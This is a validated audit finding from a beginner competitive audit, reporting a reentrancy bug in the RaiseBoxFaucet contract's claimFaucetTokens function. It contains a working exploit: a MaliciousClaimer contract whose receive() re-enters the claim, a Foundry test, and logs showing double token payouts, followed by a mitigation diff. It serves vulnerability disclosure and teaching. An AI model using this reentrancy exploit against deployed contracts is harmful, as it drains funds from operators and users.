Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens Doubles Token Claims

External ETH call before updating lastClaimTime lets malicious contracts claim tokens twice in one tx

Description

  • RaiseBoxFaucet::claimFaucetTokens gives first-timers 0.005 SepETH + faucetDrip tokens (let's say, 1000), repeaters get tokens every 3 days. Line 167 cooldown check blocks spam... but the ETH transfer on line 198 is a direct .call{value} to user — classic reentrancy bait.

  • Problem: hasClaimedEth updates before the call (good, blocks double ETH), but lastClaimTime updates way after on line 227. Malicious contract's receive() reenters, passes cooldown check (still 0), grabs second token batch. Boom — 2x tokens, same ETH.

    function claimFaucetTokens() public {
    // ...
    @> if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) { // Check to prevent user before 3-day cooldown
    revert RaiseBoxFaucet_ClaimCooldownOn();
    }
    // ...
    if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) { // Checks whether user is a first-time claimer
    // ...
    hasClaimedEth[faucetClaimer] = true; // Updates first-time claimer tag, prevents reentrancy attack
    dailyDrips += sepEthAmountToDrip; // Increases the limit
    @> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // External call, malicious contract can do anything in response
    // ...
    }
    // ...
    @> lastClaimTime[faucetClaimer] = block.timestamp; // Updates the last Claim Time, much later after the external call is made, leading to reentrancy
    }

Risk

Likelihood: High

  • Any first-timer can deploy this malicious contract—zero complexity

  • Hits every attacker's first claim automatically

Impact: High

  • 2x token drain per attack — faster balance depletion

  • Normal users shut out sooner when tokens run dry

  • Trust wrecked: "Why did the attacker get double my claim?!"

Proof of Concept

  • Here's exactly how the exploit works, step by step:

    1. Setup: Deploy RaiseBoxFaucet, fund with 0.01 ETH

    2. Malicious Contract: Deploy MaliciousClaimer with receive() → auto-calls claim() on ETH deposit

    3. The Reentrancy Exploit:

      • Malicious contract calls claim()RaiseBoxFaucet::claimFaucetTokens(). First-timer, lastClaimTime[faucetClaimer] = 0, passes cooldown check

      • !hasClaimedEth[faucetClaimer] passes, sets hasClaimedEth = true

      • EXTERNAL CALL: Sends 0.005 ETH → triggers receive() → calls claimFaucetTokens() AGAIN

      • Reentry: lastClaimTime still 0, passes cooldown! Skips ETH (already true), but transfers 1000 tokens

      • Sets lastClaimTime[faucetClaimer] = block.timestamp (finally)

      • Original call resumes: Sets lastClaimTime[faucetClaimer] = block.timestamp (pointless), transfers 2nd 1000 tokens

      • Result: 2000 tokens + 0.005 ETH from ONE call!


  • Add MaliciousClaimer to the end of RaiseBoxFaucet.t.sol:

    contract MaliciousClaimer {
    address public owner;
    RaiseBoxFaucet raiseBox;
    constructor(address _raiseBox) {
    owner = msg.sender;
    raiseBox = RaiseBoxFaucet(payable(_raiseBox));
    }
    function claim() public {
    raiseBox.claimFaucetTokens();
    }
    receive() external payable {
    claim();
    }
    }

  • Now, add this test case:

    function test__ReentrancyAttackInClaimFaucetTokens() public {
    // Setup
    RaiseBoxFaucet raiseBox = new RaiseBoxFaucet(
    "raiseBoxFaucet",
    "RBF",
    1000 * 10 ** 18,
    0.005 ether,
    1 ether
    );
    // Funding the contract with 0.01 sepEth
    vm.deal(address(raiseBox), 0.01 ether);
    console.log("Initial token balance of the contract:", raiseBox.getBalance(address(raiseBox)) / 1e18, "tokens");
    // Malicious contract gets deployed
    MaliciousClaimer maliciousClaimer = new MaliciousClaimer(address(raiseBox));
    console.log();
    console.log("Malicious contract deployed...");
    console.log("Initial token balance of the malicious contract:", raiseBox.getBalance(address(maliciousClaimer)) / 1e18, "tokens");
    // Malicious contract tries to claim
    maliciousClaimer.claim();
    console.log();
    console.log("Malicious contract tries to claim...");
    console.log();
    console.log("Token balance of the contract after the claim:", raiseBox.getBalance(address(raiseBox)) / 1e18, "tokens");
    console.log("Token balance of the malicious contract, after the claim:", raiseBox.getBalance(address(maliciousClaimer)) / 1e18, "tokens");
    console.log("sepEth balance of the malicious contract, after the claim:", address(maliciousClaimer).balance, "Wei");
    console.log();
    console.log("*** 2000 TOKENS FROM ONE CALL! ***");
    }

  • Run the above test using the command:

    forge test --mt test__ReentrancyAttackInClaimFaucetTokens -vv

  • Logs:

    Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
    [PASS] test__ReentrancyAttackInClaimFaucetTokens() (gas: 2678299)
    Logs:
    Initial token balance of the contract: 1000000000 tokens
    Malicious contract deployed...
    Initial token balance of the malicious contract: 0 tokens
    Malicious contract tries to claim...
    Token balance of the contract after the claim: 999998000 tokens
    Token balance of the malicious contract, after the claim: 2000 tokens
    sepEth balance of the malicious contract, after the claim: 5000000000000000 Wei
    *** 2000 TOKENS FROM ONE CALL! ***
    Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.91ms (1.17ms CPU time)

Recommended Mitigation

  • It's better to update the lastClaimTime[faucetClaimer] right after the cooldown check on line 167

    function claimFaucetTokens() public {
    faucetClaimer = msg.sender;
    if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
    revert RaiseBoxFaucet_ClaimCooldownOn();
    }
    + lastClaimTime[faucetClaimer] = block.timestamp;
    // ...
    - lastClaimTime[faucetClaimer] = block.timestamp;
    }
  • Additionally, the contract can also implement a pull-based mechanism to send first-time sepEth rewards, rather than using a push-based mechanism, which requires an external call to be made.

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.